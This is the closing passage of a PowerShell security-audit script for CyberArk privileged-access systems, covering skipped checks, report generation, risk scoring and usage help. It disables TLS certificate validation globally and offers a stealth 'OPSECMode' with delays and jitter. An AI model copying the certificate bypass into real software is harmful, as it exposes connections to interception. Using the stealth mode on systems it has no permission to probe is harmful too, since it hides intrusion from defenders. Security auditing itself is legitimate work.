Add-SkippedCheck -Category "Machine Identity" -CISControl "MID7" -CheckName "AIM Provider Security" -Reason "Error: $($_.Exception.Message)" -Type "Error" } Write-AuditLog "Phase 2 (Authenticated) checks complete." -Level Success } finally { # Always disconnect Disconnect-CyberArk } } else { Write-AuditLog "Failed to authenticate to CyberArk API." -Level Error Write-Host "" Write-Host " Authentication failed. Authenticated checks will be skipped." -ForegroundColor Red Write-Host " Unauthenticated checks have been completed and will be reported." -ForegroundColor Yellow Write-Host "" # Record all authenticated checks as skipped due to auth failure $authChecks = @( @{ Cat = "Safe Configuration"; Ctrl = "3.1"; Name = "Safe Configuration Audit" }, @{ Cat = "Credential Management"; Ctrl = "4.1"; Name = "Account Configuration Audit" }, @{ Cat = "Platform Configuration"; Ctrl = "2.4"; Name = "Platform Configuration Audit" }, @{ Cat = "User Management"; Ctrl = "5.1"; Name = "User Configuration Audit" }, @{ Cat = "Authentication"; Ctrl = "5.1"; Name = "Authentication Methods Audit" }, @{ Cat = "System Health"; Ctrl = "7.3"; Name = "Component Health Check" }, @{ Cat = "System Configuration"; Ctrl = "5.3"; Name = "System Configuration Audit" }, @{ Cat = "Safe Configuration"; Ctrl = "3.1"; Name = "Orphaned Safes Check" }, @{ Cat = "Master Policy"; Ctrl = "V1.1"; Name = "Master Policy Audit" }, @{ Cat = "PSM Configuration"; Ctrl = "V2.1"; Name = "PSM Configuration Audit" }, @{ Cat = "Account Discovery"; Ctrl = "V3.1"; Name = "Account Discovery Audit" }, @{ Cat = "Privileged Threat Analytics"; Ctrl = "V4.1"; Name = "PTA Configuration Audit" }, @{ Cat = "Linked Accounts"; Ctrl = "V6.1"; Name = "Linked Accounts Audit" }, @{ Cat = "CPM Configuration"; Ctrl = "V8.1"; Name = "CPM Configuration Audit" }, @{ Cat = "Safe Configuration"; Ctrl = "3.3"; Name = "Safe Dual Control Audit" }, @{ Cat = "Account Management"; Ctrl = "4.1"; Name = "Account Groups Audit" } ) foreach ($check in $authChecks) { Add-SkippedCheck -Category $check.Cat -CISControl $check.Ctrl ` -CheckName $check.Name ` -Reason "Authentication failed - check credentials and try again" ` -Type "AccessDenied" } } } #====================================================================== # REPORT GENERATION #====================================================================== Write-Host "" Write-Host "+============================================================+" -ForegroundColor Cyan Write-Host "| GENERATING REPORTS |" -ForegroundColor Cyan Write-Host "+============================================================+" -ForegroundColor Cyan # Generate reports with error handling $htmlReport = $null $csvReport = $null $jsonReport = $null try { $htmlReport = New-HTMLReport } catch { Write-AuditLog "Failed to generate HTML report: $($_.Exception.Message)" -Level Error } try { $csvReport = Export-CSVReport } catch { Write-AuditLog "Failed to generate CSV report: $($_.Exception.Message)" -Level Error } try { $jsonReport = Export-JSONReport } catch { Write-AuditLog "Failed to generate JSON report: $($_.Exception.Message)" -Level Error } # Print summary Write-Host "" Write-Host "=============================================" -ForegroundColor Green Write-Host " AUDIT COMPLETE" -ForegroundColor Green Write-Host "=============================================" -ForegroundColor Green Write-Host "" Write-Host "Execution Summary:" -ForegroundColor Cyan Write-Host " Phase 1 (Unauthenticated): Completed" -ForegroundColor Green if ($script:AuditStats.AuthenticatedChecksRun) { Write-Host " Phase 2 (Authenticated): Completed" -ForegroundColor Green } elseif ($UnauthenticatedOnly -or $SkipAuthenticatedChecks) { Write-Host " Phase 2 (Authenticated): Skipped (by parameter)" -ForegroundColor DarkGray } else { Write-Host " Phase 2 (Authenticated): Failed (auth error)" -ForegroundColor Red } Write-Host "" Write-Host "Findings:" -ForegroundColor Cyan Write-Host " Critical: $(($script:Findings | Where-Object { $_.Severity -eq 'Critical' -and $_.Status -eq 'Fail' }).Count)" -ForegroundColor Red Write-Host " High: $(($script:Findings | Where-Object { $_.Severity -eq 'High' -and $_.Status -eq 'Fail' }).Count)" -ForegroundColor Yellow Write-Host " Medium: $(($script:Findings | Where-Object { $_.Severity -eq 'Medium' -and $_.Status -eq 'Fail' }).Count)" -ForegroundColor DarkYellow Write-Host " Low: $(($script:Findings | Where-Object { $_.Severity -eq 'Low' -and $_.Status -eq 'Fail' }).Count)" -ForegroundColor Blue Write-Host " Passed: $(($script:Findings | Where-Object { $_.Status -eq 'Pass' }).Count)" -ForegroundColor Green Write-Host "" if ($script:SkippedChecks.Count -gt 0) { Write-Host "Checks Not Performed:" -ForegroundColor Gray Write-Host " Skipped: $(($script:SkippedChecks | Where-Object { $_.Type -eq 'Skipped' }).Count)" -ForegroundColor DarkGray Write-Host " Not Applicable: $(($script:SkippedChecks | Where-Object { $_.Type -eq 'NotApplicable' }).Count)" -ForegroundColor DarkGray Write-Host " Errors: $(($script:SkippedChecks | Where-Object { $_.Type -eq 'Error' }).Count)" -ForegroundColor DarkGray Write-Host " Access Denied: $(($script:SkippedChecks | Where-Object { $_.Type -eq 'AccessDenied' }).Count)" -ForegroundColor DarkGray Write-Host "" } Write-Host "Reports Generated:" -ForegroundColor Cyan if ($htmlReport) { Write-Host " HTML: $htmlReport" -ForegroundColor White } else { Write-Host " HTML: FAILED" -ForegroundColor Red } if ($csvReport -and $csvReport.Count -gt 0) { Write-Host " CSV Reports ($($csvReport.Count) files):" -ForegroundColor White foreach ($csvFile in $csvReport) { Write-Host " - $(Split-Path $csvFile -Leaf)" -ForegroundColor Gray } } else { Write-Host " CSV: FAILED" -ForegroundColor Red } if ($jsonReport) { Write-Host " JSON: $jsonReport" -ForegroundColor White } else { Write-Host " JSON: FAILED" -ForegroundColor Red } Write-Host "" # Output report summary for comprehensive report writing Write-Host "Report Contents Summary:" -ForegroundColor Cyan Write-Host " - Executive Summary with overall risk rating and key metrics" -ForegroundColor Gray Write-Host " - CIS Benchmark Compliance Matrix" -ForegroundColor Gray Write-Host " - Detailed findings with evidence and remediation steps" -ForegroundColor Gray Write-Host " - Prioritized remediation roadmap (24h/1wk/30d/90d)" -ForegroundColor Gray Write-Host " - Component-based analysis for team assignment" -ForegroundColor Gray Write-Host " - Skipped checks requiring manual verification" -ForegroundColor Gray Write-Host "" # Return summary object for programmatic use return @{ Findings = $script:Findings SkippedChecks = $script:SkippedChecks Stats = $script:AuditStats Reports = @{ HTML = $htmlReport CSV = $csvReport JSON = $jsonReport } ReportMetadata = @{ TotalFindings = $script:Findings.Count FailedFindings = ($script:Findings | Where-Object { $_.Status -eq "Fail" }).Count PassedFindings = ($script:Findings | Where-Object { $_.Status -eq "Pass" }).Count SkippedChecks = $script:SkippedChecks.Count RiskScore = (($script:Findings | Where-Object { $_.Severity -eq "Critical" -and $_.Status -eq "Fail" }).Count * 40) + (($script:Findings | Where-Object { $_.Severity -eq "High" -and $_.Status -eq "Fail" }).Count * 20) + (($script:Findings | Where-Object { $_.Severity -eq "Medium" -and $_.Status -eq "Fail" }).Count * 5) + (($script:Findings | Where-Object { $_.Severity -eq "Low" -and $_.Status -eq "Fail" }).Count * 1) GeneratedAt = Get-Date -Format "yyyy-MM-ddTHH:mm:ssZ" } } } # Entry point # Require PowerShell 7+ if ($PSVersionTable.PSVersion.Major -lt 7) { Write-Host "" Write-Host "ERROR: This script requires PowerShell 7 or higher." -ForegroundColor Red Write-Host "" Write-Host "Current version: PowerShell $($PSVersionTable.PSVersion)" -ForegroundColor Yellow Write-Host "" Write-Host "To install PowerShell 7:" -ForegroundColor Cyan Write-Host " Windows: winget install Microsoft.PowerShell" -ForegroundColor White Write-Host " Or download from: https://github.com/PowerShell/PowerShell/releases" -ForegroundColor White Write-Host "" return } Show-Banner # Certificate validation bypass for assessment continuity # WARNING: Certificate validation is bypassed to allow assessment of systems with self-signed certificates # This will be captured as a security finding in the report Write-Host "WARNING: Certificate validation is disabled for assessment continuity." -ForegroundColor Yellow Write-Host " Systems with certificate issues will be flagged in the security findings." -ForegroundColor Yellow Write-Host "" [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } # Check if PVWA parameter is provided if ([string]::IsNullOrEmpty($PVWA)) { Write-Host " Usage: .\CyberArk-Security-Audit.ps1 -PVWA [options]" -ForegroundColor Yellow Write-Host "" Write-Host " Required:" -ForegroundColor Cyan Write-Host " -PVWA PVWA URL (e.g., https://pvwa.domain.com)" -ForegroundColor White Write-Host "" Write-Host " Common Options:" -ForegroundColor Cyan Write-Host " -AuthType Authentication method: CyberArk, LDAP, RADIUS, SAML" -ForegroundColor White Write-Host " -UnauthenticatedOnly Run only blackbox checks (no credentials)" -ForegroundColor White Write-Host " -OPSECMode Stealth mode with delays and jitter" -ForegroundColor White Write-Host " -Proxy Route traffic through proxy (e.g., http://127.0.0.1:8080)" -ForegroundColor White Write-Host "" Write-Host " Examples:" -ForegroundColor Cyan Write-Host " .\CyberArk-Security-Audit.ps1 -PVWA 'https://pvwa.domain.com' -AuthType LDAP" -ForegroundColor Gray Write-Host " .\CyberArk-Security-Audit.ps1 -PVWA 'https://pvwa.domain.com' -UnauthenticatedOnly" -ForegroundColor Gray Write-Host " .\CyberArk-Security-Audit.ps1 -PVWA 'https://pvwa.domain.com' -OPSECMode" -ForegroundColor Gray Write-Host "" Write-Host " For full help: Get-Help .\CyberArk-Security-Audit.ps1 -Full" -ForegroundColor DarkGray Write-Host "" return } Start-Audit #endregion